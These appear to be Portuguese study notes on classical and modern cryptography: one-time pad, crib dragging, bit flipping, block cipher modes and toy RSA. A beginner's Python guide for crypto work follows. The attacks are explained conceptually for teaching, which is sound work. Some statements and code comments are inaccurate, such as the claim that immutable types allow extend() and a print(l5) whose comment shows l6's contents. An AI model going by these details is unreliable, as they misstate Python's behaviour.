Para estudar a cifra One Time Pad (OTP), é preciso primeiro compreender as propriedades do operador lógico XOR (ou exclusivo). Trata-se de uma operação sobre dois ou mais valores lógicos que produz um valor verdadeiro apenas se a quantidade de operadores verdadeiros for ímpar. A Tabela-verdade para o XOR de duas entradas é a seguinte:

![tabela\_XOR](https://user-images.githubusercontent.com/96321435/233841886-0e6d9ea5-594f-4597-9453-f9daeeedb8db.PNG)

Abaixo são apresentadas algumas propriedades do operador lógico XOR:

> * Comutativa: A ⊕ B = B ⊕ A
> * Associativa: A ⊕ (B ⊕ C) = (A ⊕ B) ⊕ C
> * Identidade: A ⊕ 0 = A
> * Auto-inversiva: A ⊕ A = 0
> * A ⊕ B = C ↔ C ⊕ B = A ↔ C ⊕ A = B

O funcionamento da cifra One Time Pad é o seguinte: o ciphertext é o resultado do XOR bit a bit entre o plaintext e a chave. Para decriptar, o plaintext é simplesmente o resultado do XOR bit a bit entre o ciphertext e a chave. As funções que definem a encriptação e a decriptação são:

E(m, k) = m ⊕ k = c\
D(c, k) = c ⊕ k = m

Plaintext:\
0|1|1|0|1|0|0|0|1|1|0|1\
Chave:\
1|0|1|1|0|0|1|1|1|0|0|1\
Ciphertext:\
1|1|0|1|1|0|1|1|0|1|0|0

A cifra OTP é muito boa do ponto de vista de performance computacional, tudo que o processador precisa fazer é o XOR da mensagem com a chave, o que é extremamente simples e rápido para os computadores atuais. Entretanto, é muito difícil vê-la sendo aplicada na prática. O motivo disso é que as chaves são essencialmente tão longas quanto as mensagens.

Suponha que Alice e Bob queiram se comunicar usando a OTP. Alice quer enviar uma mensagem encriptada para Bob, mas primeiro ela precisar enviar por um canal seguro uma chave que seja tão longa quanto a mensagem. Ora, se ela possui um meio seguro de transmitir uma chave longa, ela pode simplesmente usar esse meio para transmitir diretamente o plaintext, sem que nenhuma criptografia seja necessária.

Então, o fato de a chave ser tão longa quanto a mensagem faz com que a One Time Pad seja bem difícil de ser aplicada na prática. Contudo, a ideia por trás da cifra é muito útil, e veremos isso mais adiante. Por ora, vamos analisar duas vulnerabilidades que podem ser exploradas na cifra.

#### Many Time Pad

O Many Time Pad ocorre quando duas mensagens diferentes são encriptadas utilizando-se a mesma chave. Isso permite que um atacante intercepte os dois ciphertexts e, utilizando a propriedade auto-inversiva do XOR, obtenha como resultado o XOR entre os dois plaintexts.

c1 = m1 ⊕ k\
c2 = m2 ⊕ k\
c1 ⊕ c2 = m1 ⊕ k ⊕ m2 ⊕ k = m1 ⊕ m2 ⊕ k ⊕ k = m1 ⊕ m2

A imagem a seguir exemplifica como o conteúdo de dois plaintexts foram descobertos por terem sido encriptados a partir de uma mesma chave.

![many\_time\_pad](https://user-images.githubusercontent.com/96321435/233842081-dcc29965-e476-4da5-a7d3-ab0498eef07f.png)

Outra forma de se explorar o Many Time Pad é através do método Crib Dragging. Ele ocorre quando o atacante já conhece parcialmente o conteúdo de um dos plaintexts, e, em posse de m1 ⊕ m2, é capaz de obter parte do conteúdo do segundo plaintext. A partir disso, ele consegue deduzir mais algum trecho de m2 e obter novos trechos de m1. Esse ciclo se repete até que ambos os plaintexts tenham sido recuperados.

Considere o exemplo a seguir: o atacante interceptou dois ciphertexts de 29 caracteres cada, sendo que ambos foram encriptados com a mesma chave. Assim, o atacante obteve m1 ⊕ m2 e considere ainda que o atacante sabe que o começo de m1 é “BOMDIA”.

![crib\_1](https://user-images.githubusercontent.com/96321435/233842107-8c8f4c61-a76b-4deb-9602-03bc8a82499d.PNG)

Fazendo o XOR entre os primeiros 6 caracteres de m1 e (m1 ⊕ m2), o atacante recupera os 6 primeiros caracteres de m2:

![crib\_2](https://user-images.githubusercontent.com/96321435/233842123-d8c6bc1d-4709-4684-99e0-37cd2f6aefe6.PNG)

Em posse dos primeiros 6 caracteres de m2, o atacante pode deduzir que os próximos 4 caracteres são “UDAR”, completando a frase “VOUESTUDAR”.

![crib\_3](https://user-images.githubusercontent.com/96321435/233842139-f422f942-4f81-450d-8210-71787d9685cb.PNG)

Fazendo o XOR entre os caracteres 7-10 de m2 e (m1 ⊕ m2), o atacante recupera os caracteres 7-10 de m1:

![crib\_4](https://user-images.githubusercontent.com/96321435/233842157-c3e305f7-45d6-493d-8585-08eb88bd3527.PNG)

Em posse dos primeiros 10 caracteres de m1, o atacante pode deduzir que o próximo caractere é “O”, completando a frase “BOMDIAAMIGO”.

![crib\_5](https://user-images.githubusercontent.com/96321435/233842173-df9f41d2-de24-46f4-9de3-eaf9b70d5bfe.PNG)

Fazendo o XOR entre o caractere 11 de m1 e (m1 ⊕ m2), o atacante recupera o caractere 11 de m2:

![crib\_6](https://user-images.githubusercontent.com/96321435/233842180-c9ccec04-b93f-4b15-9652-a1a8c4908f0a.PNG)

Em posse dos primeiros 11 caracteres de m2, o atacante pode então deduzir que os próximos caracteres são “ATEMATICA”, completando a frase “VOUESTUDARMATEMATICA”.

![crib\_7](https://user-images.githubusercontent.com/96321435/233842196-b891e94c-ef10-4238-b29a-84d426652f46.PNG)

![crib\_8](https://user-images.githubusercontent.com/96321435/233842216-5f0f9bdb-eaa3-4a07-9c8d-934067618a4e.PNG)

Fazendo o XOR entre os caracteres 12-20 de m2 e (m1 ⊕ m2), o atacante recupera os caracteres 12-20 de m1:

![crib\_9](https://user-images.githubusercontent.com/96321435/233842226-7bc3174d-bc4d-4138-b0ae-a7671e47ce68.PNG)

![crib\_10](https://user-images.githubusercontent.com/96321435/233842229-c8ec4303-9553-4bbd-be4b-ee4c4bd7003a.PNG)

Em posse dos primeiros 20 caracteres de m1, o atacante pode então deduzir que os próximos caracteres são “UITO”, completando a frase “BOMDIAAMIGOBOBVOCEEMUITO”.

![crib\_11](https://user-images.githubusercontent.com/96321435/233842256-1831b563-144a-433e-854c-dbaf90c6e337.PNG)

Fazendo o XOR entre os caracteres 21-24 de m1 e (m1 ⊕ m2), o atacante recupera os caracteres 21-24 de m2:

![crib\_12](https://user-images.githubusercontent.com/96321435/233842276-3b3766dd-16d5-4cf0-9084-af61988c9acd.PNG)

Em posse dos primeiros 24 caracteres de m2, o atacante pode então deduzir que os últimos caracteres são “TORIA”, completando a frase “VOUESTUDARMATEMATICAEHISTORIA”.

![crib\_13](https://user-images.githubusercontent.com/96321435/233842295-6ea74c0a-cff1-453a-9968-f8cd44956833.PNG)

Finalmente, fazendo o XOR entre os caracteres 25-29 de m2 e (m1 ⊕ m2), o atacante recupera os caracteres 25-29 de m1:

![crib\_14](https://user-images.githubusercontent.com/96321435/233842307-9efb2520-c22a-4649-a57a-4e14244462ad.PNG)

Assim, o atacante conseguiu recuperar m1: “Bom dia amigo Bob você é muito lindo” e m2: “Vou estudar matemática e história”.

#### Bit Flipping

O bit-flipping é um ataque à integridade da cifra que permite ao atacante alterar o ciphertext de modo que, após a mensagem ser decriptada, o receptor receberá um conteúdo diferente do plaintext original, mesmo que o atacante não saiba qual chave foi utilizada. Esse ataque é possível quando o atacante conhece o conteúdo original da mensagem ou apenas parte dele.

Suponha que um atacante saiba que o conteúdo inicial de uma mensagem seja “Envie R$1000,00 para Ana”. Então, o ciphertext deste trecho da mensagem seria:

c = “Envie R$1000,00 para Ana” ⊕ key

Antes que o ciphertext chegue ao receptor da mensagem, o atacante pode intercepta-la e fazer a seguinte operação:

c’ = c ⊕ (“Envie R$1000,00 para Ana” ⊕ “Envie R$1000,00 para Eve”)

Temos que c = “Envie R$1000,00 para Ana” ⊕ key, então

c’ = “Envie R$1000,00 para Ana” ⊕ key ⊕ “Envie R$1000,00 para Ana” ⊕ “Envie R$1000,00 para Eve”

c’ = “Envie R$1000,00 para Eve” ⊕ key

Ao receber c’, o receptor da mensagem vai decriptá-la fazendo o XOR com a chave key e vai obter uma mensagem diferente do plaintext original, sem perceber que seu conteúdo foi adulterado. Para prevenir este tipo de ataque, são utilizados mecanismos que asseguram a integridade da mensagem, como o MAC (Message Authentication Code) e assinaturas digitais, de modo que ao decriptar a mensagem, o receptor seja capaz de perceber que seu conteúdo foi alvo de ataque.

### Cifra de Fluxo (Stream Cipher)

Vimos anteriormente que a cifra OTP é raramente aplicada na prática devido ao fato de a chave ser do mesmo tamanho da mensagem. A cifra de fluxo (stream cipher) foi criada justamente para superar esse problema. A cifra de fluxo conta com uma função PRG (Pseudo-Random Generator) que gera bits pseudo-aleatórios a partir de uma semente. Assim, a chave key inicial, embora seja menor do que a mensagem, pode ser expandida para uma chave maior, chamada de keystream, que tem pelo menos o mesmo tamanho da mensagem.

Com a keystream e o plaintext em mãos, a cifra de fluxo funciona da mesma forma que a One Time Pad, sendo passível também dos mesmos ataques.

![PRG](https://user-images.githubusercontent.com/96321435/233842429-4569b8c7-8449-47d2-81f5-dae1a7e30692.png)

É importante que a função PRG seja imprevisível. Isso significa que dado n bits gerados a partir de uma PRG, um atacante seria incapaz de prever qual seria o (n+1)º bit, independentemente do valor de n.

Imagine uma situação em que o atacante já saiba de antemão os primeiros 24 bits de um plaintext. Fazendo o XOR com o ciphertext interceptado ele pode descobrir os primeiros 24 bits da keystream. Se a PRG fosse previsível, em posse desses 24 bits da keystream, ele poderia descobrir o 25º, e em posse desses 25, o 26º, e assim sucessivamente até descobrir a keystream inteira. Mas sendo a PRG imprevisível, ele é incapaz de descobrir toda a keystream, mesmo tendo obtido os bits iniciais.

### Cifra de Bloco (Block Cipher)

A block cipher é uma cifra que opera sobre grupos de tamanho fixo de bits, chamados de blocos. Cada bloco é encriptado através de repetidas iterações, a depender do algoritmo utilizado.

![block\_cipher](https://user-images.githubusercontent.com/96321435/233842484-07bc68f6-5ef1-4188-b0c5-887d648aa14b.png)

Na encriptação de cada bloco m, a chave k é expandida em uma sequência de chaves k1...kn e o bloco passa por diversas Round Functions até ser obtido o ciphertext c. As round functions garantem o “efeito avalanche” da cifra, de modo que se apenas 1 bit de m for alterado, um bloco c totalmente diferente será obtido.

No algoritmo DES (Data Encryption Standard), o tamanho de cada bloco m é de 64 bits, o tamanho da chave k é de 56 bits e são aplicadas um total de 16 round functions até que o ciphertext c seja obtido. As round functions nesse algoritmo funcionam através da Feistel Network. Com o avanço da capacidade de processamento dos computadores, uma chave de 56 bits passou a ser suscetível a ataques de força bruta, de modo que o DES foi substituído pelo 3DES (Triple Data Encryption Standard), que conta com uma chave de 168 bits e 48 round functions.

No algoritmo AES (Advanced Encryption Standard), o tamanho de cada bloco m é de 128 bits, o tamanho da chave k pode ser 128, 192 ou 256 bits e são aplicadas um total de 10 round functions até que o ciphertext c seja obtido. As round functions nesse algoritmo funcionam através da Substitution-Permutation Network.

Para decriptar cada bloco, o algoritmo utilizado é o inverso daquele usado na encriptação, ou seja, as round functions são aplicadas na ordem inversa.

#### Modos de Operação

Os algoritmos utilizados nas cifras de bloco são determinísticos. Isso significa que um mesmo plaintext m, ao ser encriptado com a mesma chave k, sempre resultará no mesmo ciphertext c. Numa situação em que uma mensagem possui muitos blocos idênticos, muitos blocos do ciphertext serão iguais, possibilitando a um atacante uma análise por frequência.

Diante disso, diversos modos de operação foram propostos para garantir, dentre outras coisas, que dois blocos idênticos no plaintext resultem em blocos diferentes no ciphertext.

**Electronic codebook (ECB)**

O mais simples dos modos de operação (e que não deve ser mais usado) é o ECB. Nele, a mensagem é dividida em blocos e cada bloco é encriptado separadamente um do outro. A encriptação é paralelizada, ou seja, para se encriptar o bloco x não é preciso esperar pela encriptação do bloco (x-1). Na prática, isso significa que um processador de dois núcleos, por exemplo, pode usar um núcleo para encriptar os blocos pares e outro para encriptar os blocos ímpares, acelerando o processo.

![ECB](https://user-images.githubusercontent.com/96321435/233842583-1619b862-87c3-4e47-9692-93e38078f163.png)

A grande fraqueza desse modo de operação é o fato de blocos de plaintext iguais serem encriptados para blocos de ciphertext iguais. Observe a primeira imagem a seguir, note que os pixels brancos ao redor do pinguim são todos idênticos, assim como os pixels pretos das penas e os pixels laranjas das patas.

![pinguim](https://user-images.githubusercontent.com/96321435/233842592-0449a90c-e0ae-4fac-8fc2-68df4332c8b4.PNG)

Na segunda imagem vemos que todos os pixels brancos foram encriptados exatamente para o mesmo pixel, assim como todos os pixels pretos foram encriptados para o mesmo pixel. Embora a cor de cada pixel individual seja encriptada, a imagem geral ainda pode ser discernida, pois o padrão de pixels de cores idênticas no original permanece na versão criptografada.

**Cipher block chaining (CBC)**

O próximo modo de operação é o CBC. Nele, a mensagem é dividida em blocos e, antes de passar pelo algoritmo de encriptação, cada bloco de plaintext é XOReado com o bloco de ciphertext anterior. Como o primeiro bloco não possui bloco anterior, é utilizado um vetor de inicialização (IV), que possui uma sequência de bits aleatórios. A encriptação é sequencial, ou seja, para se encriptar o bloco x é preciso esperar pela encriptação do bloco (x-1). Na prática, isso significa que um processador de oito núcleos, por exemplo, vai acabar levando o mesmo tempo para encriptar que um processador de apenas um núcleo.

![CBC\_encryption](https://user-images.githubusercontent.com/96321435/233842653-4247164a-b5db-4ec1-b731-5045dd1bfd44.png)

Por outro lado, a decriptação é paralelizada, ou seja, para se decriptar o bloco x não é preciso esperar pela decriptação do bloco (x-1).

![CBC\_decryption](https://user-images.githubusercontent.com/96321435/233842674-2b18f2fa-711c-478c-809b-38e121129867.png)

Existem ainda diversos outros modos de operação, como PCBC, CFB, OFB e CTR.

#### Ataques às cifras de bloco

No modo de operação CBC, se o atacante conhecer o Initialization Vector ou parte dele, é possível fazer um ataque bit-flipping na decriptação que altera o conteúdo do plaintext no primeiro bloco, conforme ilustra a imagem a seguir.

![CBC\_bit\_flipping](https://user-images.githubusercontent.com/96321435/233842712-52e443ec-7c6b-44cb-9376-224bc65ffd22.png)

Para prevenir este tipo de ataque, podem ser utilizados mecanismos MAC e assinaturas digitais, assim como nas cifras de fluxo, ou o usuário pode simplesmente preencher o primeiro bloco com bits de “lixo”, que são irrelevantes para o conteúdo da mensagem. Outro ataque associado ao modo de operação CBC é o Padding Oracle Attack, que pode ocorrer quando o tamanho da mensagem não é múltiplo do tamanho do bloco.

Por exemplo, imagine que uma mensagem de 1320 bits seja encriptada utilizando o algoritmo AES. Nesse algoritmo, o tamanho de cada bloco é 128 bits. Logo, são encriptados 10 blocos (10 \* 128 = 1280 bits) e ainda restam 40 bits. Para completar o 11º bloco a ser encriptado, é necessário um preenchimento (padding) de 88 bits, que se for feito de maneira incorreta, pode permitir que um atacante descubra o conteúdo de toda a mensagem.

## Assimétrica

No sistema de criptografia assimétrica são usadas duas chaves distintas, uma para encriptação e outra para decriptação. A chave de encriptação é pública e é diferente da chave de decriptação, que é privada.

### RSA

O mais conhecido dos sistemas de criptografia assimétrica é o método RSA. Este método foi publicado em 1977 por R.L. Rivest, A. Shamir e L. Adleman. As letras RSA correspondem às iniciais dos inventores do método. Para implementar o método RSA, um usuário deve criar uma chave pública “n” que é o produto de dois números primos grandes “p” e “q”, que devem ser escolhidos aleatoriamente e mantidos secretos. Além do número n, o usuário deve escolher um inteiro “e”, que será usado na encriptação, e calcular o seu inverso multiplicativo “d”, que será utilizado na decriptação.

Assim, o par (n, e) é a chave pública utilizada na encriptação, enquanto que a tripla (p, q, d) é a chave privada utilizada na decriptação. A geração das chaves ocorre da seguinte maneira:

> 1. Escolha de forma aleatória dois números primos grandes **p** e **q**, da ordem de 10^100 no mínimo.
> 2. Calcule **n** = **pq**
> 3. Calcule a função totiente de Euler: **Φ(n)** = (p-1)(q-1)
> 4. Escolher um inteiro **e** tal que **1 < e < Φ(n)**, de forma que **e** e **Φ(n)** sejam primos entre si, ou seja, **mdc(e, Φ(n)) = 1**
> 5. Calcule **d** de forma que **de ≡ 1 (mod Φ(n))**, ou seja, o resto da divisão de **de** por **Φ(n)** é 1

Para encriptar um plaintext **m** em um ciphertext **c**, basta fazer uma potenciação modular:

m^e ≡ c mod n

Ou seja, o ciphertext **c** é o resto da divisão de **m^e** por **n**. Note que para encriptar foi utilizada somente a chave pública: o par (n, e).

Para decriptar o ciphertext **c** e recuperar o plaintext **m**, basta fazer outra potenciação modular:

c^d ≡ m mod n

Ou seja, o plaintext **m** é o resto da divisão de **c^d** por **n**.

Quebrar o método RSA é teoricamente simples, basta fatorar o número n e encontrar os seus fatores primos p e q. O obstáculo é de natureza tecnológica: por se tratar de números muito grandes, encontrar p e q com a tecnologia que temos atualmente levaria dezenas de milhares de anos.

#### Exemplo de aplicação do RSA

Suponha que Bob e Alice desejam se comunicar utilizando a criptografia RSA. Para receber mensagens encriptadas de Alice, Bob deve fornecer uma chave pública (n, e) que será utilizada por Alice e guardar em segredo a chave privada (p, q, d). Para efeitos didáticos, vamos considerar números pequenos.

> 1. Bob escolhe os primos **p = 11** e **q = 13**.
> 2. n = p.q = 11.13, **n = 143**
> 3. Φ(n) = (p-1)(q-1) = 10.12, **Φ(n) = 120**
> 4. Bob escolhe **e = 7**, 7 e 120 são primos entre si.
> 5. Bob calcula **d.e ≡ 1 mod 120** e obtém **d = 103**. De fato, d.e = 7\*103 = 721. O resto da divisão de 721 por 120 é 1.

Suponha que o plaintext seja por exemplo apenas a letra “f”, cujo valor decimal na Tabela ASCII é 102. Para encriptar, Alice deve utilizar a chave pública (n, e):

m^e ≡ c mod n\
102^7 ≡ c mod 143

O resto da divisão de 102^7 por 143 é 119. Portanto o ciphertext é **c = 119**. Para decriptar, Bob deve utilizar outra potenciação modular:

c^d ≡ m mod n\
119^103 ≡ m mod 143

Com auxílio de um sistema computacional algébrico, Bob verifica que o resto da divisão de 119^103 por 143 é **m = 102**. Assim, Bob recupera o plaintext original.


# Guia de Python para criptografia

## **Introdução**

Python está entre as linguagens de programação mais utilizadas da atualidade, dentre os principais motivos estão: legibilidade, simplicidade e flexibilidade. Especialmente para criptografia, Python inclui, por padrão, muitas funções e ferramentas que facilitam o trabalho do programador/aventureiro.

O objetivo deste guia será introduzir os principais conceitos dessa linguagem tendo como público-alvo pessoas que já possuam experiência em outras linguagens, como C/C++. Para informações mais detalhadas e ferramentas não mencionadas neste guia, favor consultar a documentação oficial do Python em: <https://docs.python.org/3/>

## **Executando códigos**

Comandos do Python podem ser executados de três formas: fornecendo um arquivo (de extensão .py) que já contém o código a ser executado, inserindo comandos interativamente pelo terminal do Python, ou combinando as duas técnicas ao importar um arquivo já existente através do terminal e utilizar as variáveis e funções declaradas nesse arquivo, interativamente.

No primeiro caso, utilizando um terminal localizado no mesmo diretório onde se encontra o arquivo, executamos:

```bash
python nomedoarquivo.py
```

No segundo caso, simplesmente executamos `python` e inserimos os comandos desejados no terminal, os quais são interpretados em tempo real. Neste caso, funções e variáveis chamadas mas não atribuídas imprimem seu conteúdo diretamente no terminal.

No terceiro caso, executamos:

```bash
python -i nomedoarquivo.py
```

e inserimos comandos da mesma forma do modo anterior, porém com a vantagem de já possuirmos disponível todo o código declarado no referido arquivo.

**Observação**: No Ubuntu e distribuições Linux derivadas dele, a versão padrão do Python é a 2, portanto os comandos acima executariam o Python 2. Para utilizar a versão 3 (mais recomendada) é necessário utilizar o comando “python3”. Muitos dos exemplos listados neste guia não funcionarão caso executados na versão 2!

## **Escopos**

Diferentemente de outras linguagens, Python não utiliza colchetes para determinar os escopos do código, ele obtém essa informação através da indentação. Ou seja, linhas de código que estão no mesmo “nível” horizontal estarão no mesmo escopo de execução. Exemplo:

```python
if 2 == 3:
    print("escopo interno")
print("escopo externo")
```

Esse código imprime apenas “escopo externo”, pois o primeiro print, que foi chamado no escopo do if, não é executado.

## **Tipos de dados**

Python difere de linguagens como C ao possuir tipagem dinâmica. Em outras palavras, o tipo de uma variável pode ser alterada, sem qualquer restrição, em tempo de execução. Essa regra também vale para estruturas complexas que armazenam outros tipos, que serão descritas abaixo.

Além disso, Python possui tipagem forte, ou seja, ele não permite fazer operações entre tipos de dados diferentes. Por exemplo, em C a operação ‘b’ - 1 retorna o inteiro pertencente ao código ASCII de ‘a’ (97), porém em Python essa operação gera um erro de execução. Para isso é necessário utilizar as funções chr() e ord() que retornam, respectivamente, o caractere de um código ASCII e o código ASCII de um caractere.

### Mutaveis

Tipos de dados mutáveis permitem que o valor de seus elementos e sua própria estrutura sejam alterados em qualquer momento da execução do código. Os exemplos mais usados para criptografia são:

#### **Listas**

Listas são caracterizadas como uma sequência ordenada de elementos de qualquer tipo. São análogas ao array (vetor) do C/C++, porém, assim como tudo em Python, listas permitem misturar tipos diferentes dentro da mesma estrutura.

```python
l1 = ['cripto', 2, True]

# imprime True
print(l1[2])

# concatena um novo elemento ao final da lista
l1.append('novo elem')

# imprime 'novo elem'
print(l1[3])

# estende a lista com os elementos de uma nova lista
l1.extend([1.2, 4])

# imprime ['cripto', 2, True, 'novo elem', 1.2, 4]
print(l1)

# sintaxe alternativa para o extend
l1 += [1.2, 4]

# obs: utilizar o append com uma lista concatena a lista em si, e não seus elementos
exemplo = [1, 2]
exemplo.append([3, 4])

# imprime [1, 2, [3, 4]]
print(exemplo)

# imprime 3 (o tamanho da lista) pois a lista interna é um único elemento
print(len(exemplo))

# deleta o primeiro elemento da lista l1
del(l1[0])

# imprime [2, True, 'novo elem', 1.2, 4]
print(l1)

# imprime 5 (novo tamanho da lista)
print(len(l1))

# operador "slice" do Python:
# [i:j] retorna os elementos entre i e j-1
print(l1[0:2])     # imprime [2, True]
print(l1[2:5])     # imprime ['novo elem', 1.2, 4]

# também é possível acessar na ordem inversa (de trás pra frente)
print(l1[-1])      # imprime 4
print(l1[-2])      # imprime 1.2

# sintaxe alternativa para criar listas, utilizando o construtor
# os parênteses duplos são necessários pois essa função recebe apenas um argumento, que neste caso é uma tupla (explicada adiante)
l2 = list((2.3, 'a'))

# também aceita outros tipos iteráveis como argumento
l3 = list('abc')

# imprime ['a', 'b', 'c']
print(l3)

l4 = []        # listas vazias
l5 = list()    #

# l6 = concatenação de l1 e l2
l6 = l1 + l2

# imprime [2, True, 'novo elem', 1.2, 4, 2.3, 'a']
print(l5)
```

Neste exemplo, criamos uma lista L com os tipos String, Integer e Boolean. Qualquer posição da lista pode ser alterada dinamicamente, similarmente ao C. Para informações detalhadas sobre tipos iteráveis, ler a seção 8 deste guia.

#### **Dicionários**

Dicionários são análogos ao map do C++, ou seja, é um tipo que associa pares chave-valor. As chaves devem ser únicas, porém os valores podem se repetir.

```python
d1 = {'grupo': 'Ganesh', 'membros': 54}

# imprime 'Ganesh'
print(d1['grupo'])

# imprime 54
print(d1['membros'])

# imprime 2 (o tamanho de d1)
print(len(d1))

# incrementa em 1 a quantidade de membros
d1['membros'] += 1

# imprime {'grupo': 'Ganesh', 'membros': 55}
print(d1)

# novo elemento adicionado ao dicionário
d1['melhor frente'] = 'cripto'

# imprime 'cripto'
print(d1['melhor frente'])

# sintaxe alternativa para criar dicionários
d2 = dict([(2, 'dois'), (3, 'tres')])

d3 = {}           # dicionários vazios
d4 = dict()    #
```

#### **Bytearrays**

Juntamente com o tipo bytes (explicado na seção 4.2.c), o bytearray é especialmente importante para criptografia por facilitar o processo de encriptação e decriptação de mensagens e exibição de ciphertexts. Um bytearray pode ser visto como uma “lista de bytes”, onde cada elemento assume um valor entre 0 e 255 (um byte).

Sua representação na função print() é feita através de caracteres de “byte puro” em hexadecimal quando estes não são imprimíveis, ou de caracteres ascii quando são; ou seja, “\x02” é o terceiro caractere não imprimível (incluindo o zero), “\x03” é o quarto, etc. A seção 6 deste guia tratará com mais detalhes esse tipo de representação. Porém, ao ser referenciado individualmente, um elemento de bytearray é exibido como inteiro decimal entre 0 e 255 (um byte).

```python
# cria um bytearray com os elementos da lista
# caso fossem utilizados valores acima de 255, o Python produziria um erro
b1 = bytearray([2,89,100,254])

# imprime bytearray(b'\x02Yd\xff')
print(b1)

# imprime 2
print(b1[0])

# modifica o primeiro byte
b1[0] = 5

# imprime bytearray(b'\x05Yd\xff')
print(b1)

# inicializa b2 com a string 'ganesh' em formato de bytes
b2 = bytearray(b'ganesh')

# imprime 97 (código ascii do caractere 'a')
print(b2[1])

# representação hexadecimal de b2 em uma string
h = b2.hex()

# imprime '67616e657368'
print(h)

# convertendo de volta a bytearray
b3 = bytearray.fromhex(h)

# imprime bytearray(b'ganesh')
print(b3)
```

A habilidade de transformar bytearrays em uma string de hexadecimais é interessante quando se deseja imprimir um ciphertext na tela. A maioria dos bytes de um ciphertext não se encontram no intervalo de caracteres imprimíveis da tabela ASCII, portanto a representação hexadecimal ajuda nessa tarefa. Além disso, a operação de xor entre duas strings é facilitada utilizando esse tipo, e será ensinada com mais detalhes na seção 8.2 deste guia.

O construtor (função que cria o objeto) do tipo bytearray necessita receber um objeto iterável ou um inteiro como argumento. No primeiro caso, cria-se um bytearray com todos os elementos do iterável. No segundo caso, cria-se um bytearray com n elementos iguais a zero, onde n é o inteiro fornecido como argumento. Portanto caso se deseje criar um bytearray com um único elemento, é necessário incluí-lo dentro de uma lista ou tupla:

```python
# cria um bytearray com 1 único elemento de valor 42
b1 = bytearray([42])

# utilizando uma tupla, produz o mesmo resultado
b2 = bytearray((42,))

# cria um objeto com 4 bytes iguais a zero
b3 = bytearray(4)

# imprime bytearray(b'\x00\x00\x00\x00')
print(b3)
```

### **Imutáveis**

Tipos imutáveis são caracterizados pelo fato de não permitirem alterações em seus elementos após terem sido declarados, com exceção do método extend() ou do operador += (ambos realizam a inclusão de novos elementos), a qual é permitida irrestritamente. A vantagem da utilização de tipos imutáveis é que eles são os únicos tipos que permitem o cálculo de hash, de forma que, por exemplo, somente tipos imutáveis podem ser a chave de um dicionário; além disso, elas apresentam uma maior confiabilidade e um maior desempenho de execução em comparação aos mutáveis, por motivos que fogem ao escopo deste guia.

#### **Strings**

Strings em Python são semelhantes às strings de qualquer linguagem de programação de alto nível, sendo a principal diferença para outras linguagens o fato de elas serem imutáveis. Em outras palavras, podemos concatenar novas strings ao final de outra já existente, mas não podemos alterar qualquer parte dela diretamente; para isso é necessário convertê-la em uma lista e realizar as operações desejadas sobre a lista, e em seguida convertê-la de volta a uma string utilizando o método ''.join(lista).

Simplificadamente, o método join de uma string s que recebe como argumento uma lista l retorna uma nova string com os elementos de l separados por s; neste caso, como s é uma string vazia, obteremos uma nova string apenas com os elementos de l. Esse método será mais explorado no exemplo a seguir.

Strings literais em Python podem ser representadas por aspas duplas ou simples, portanto a string ‘exemplo’ é exatamente igual à string “exemplo”.

```python
s = "one-time pad"

# concatena uma nova string à original
s += " tem perfect secrecy"

# imprime "one-time pad tem perfect secrecy"
print(s)

# imprime 'one-time pad'
print(s[0:12])

# cria uma lista com os caracteres de s
l = list(s)

# deleta os 11 primeiros caracteres ('one-time pad')
del(l[0:12])

# insere 'stream-ciphers' ao começo da lista
l = list('stream-ciphers') + l

# concatena 'não ' à lista formada pelos 14 primeiros elementos
# ou seja, insere um 'não ' após a palavra 'stream-ciphers'
l[0:15] += list('não ')

# substitui 'tem' por 'têm'
l[20] = 'ê'

# s recebe l em formato de string
s = ''.join(l)

# imprime 'stream-ciphers não têm perfect secrecy'
print(s)

# mais exemplos do funcionamento do método join
s1 = ' '.join(['1', '2', '3'])

# imprime '1 2 3'
print(s1)

s2 = ','.join(['1', '2', '3'])

# imprime '1,2,3'
print(s2)

s3 = ' - '.join(['1', '2', '3'])

# imprime '1 - 2 - 3'
print(s3)
```

**Tuplas**

Tuplas são os equivalentes imutáveis das listas, ou seja, podem ser vistas como listas cujos elementos não podem ser alterados.

```python
# declara uma tupla formada por 2 inteiros, 1 string e 1 lista
t = 1, 2, 'b', [5, 3]

# sintaxe alternativa para tuplas
# os parênteses duplos são necessários pois essa função recebe apenas 1 elemento como argumento
t = tuple((1, 2, 'b', [5,3]))

# imprime 'b'
print(t[2])

# concatena a tupla (5.2) à tupla t
# somente tuplas podem ser concatenadas a outras tuplas
# a vírgula ao final é necessária e serve para indicar que trata-se de uma tupla com 1 elemento
t += 5.2,

# cria uma nova tupla com os elementos da lista presente na última posição da tupla t
t2 = tuple(t[3])
```

#### **Bytes**

Bytes é o equivalente imutável do bytearray. Ao contrário do bytearray, o tipo bytes possui uma representação literal.

```python
# representação literal do tipo bytes
x = b'isso eh uma string de bytes puros e somente aceita caracteres ascii'

# imprime o byte correspondente ao caractere "s"
x[1]

# também é possível transformar strings utf-8 em bytes, para isso utiliza-se o segundo argumento da função:
x = bytes('isso é uma string com caracteres não ascii', 'utf-8')

# imprime b'isso \xc3\xa9 uma string com caracteres n\xc3\xa3o-ascii'
# ou seja, os caracteres especiais (não-ascii) são representados pelos seus valores em byte puro e codificados em hexadecimal
print(x)

# assim como no bytearray, também é possível representar os strings de bytes em hexadecimal
print(x.hex())

# converte um tipo bytes para bytearray
b = bytearray(x)

# converte um tipo bytearray para bytes
y = bytes(b)
```

As mesmas regras de construção do bytearray também se aplica ao tipo bytes:

```python
# cria um bytes com 1 único elemento de valor 42
b1 = bytes([42])

# utilizando uma tupla, produz o mesmo resultado
b2 = bytes((42,))

# cria um objeto com 4 bytes iguais a zero
b3 = bytes(4)

# imprime b'\x00\x00\x00\x00'
print(b3)
```

## **Conversões entre bases**

Dada uma string representando um número em uma base qualquer, é possível convertê-la em decimal utilizando a função int(), onde o primeiro argumento é a string e o segundo argumento indica a base onde essa string está codificada:

```python
# converte o hexadecimal '2e' ou '0x2e' em decimal
dec = int('2e', 16)

# imprime 46
print(dec)

# produz o mesmo resultado
dec = int('0x2e', 16)

# converte o binário '010' ou ‘0b010’ em decimal
dec = int('010', 2)

# imprime 2
print(dec)
```

Também é possível representar números de diversas bases de forma literal no Python. Para binário utilizamos o prefixo 0b, para octal utilizamos o prefixo 0o, para hexadecimal utilizamos o prefixo 0x, e assim por diante. Porém, esses literais são sempre automaticamente convertidos em decimal ao armazenarmos seus valores numa variável ou imprimirmos eles na tela:

```python
# armazena na variável o hexadecimal '2e', convertendo em decimal
dec = 0x2e

# é possível utilizar valores de qualquer tamanho
dec = 0x2e578a

# literal em octal
dec = 0o4261

# literal em binário
dec = 0b01001110
```

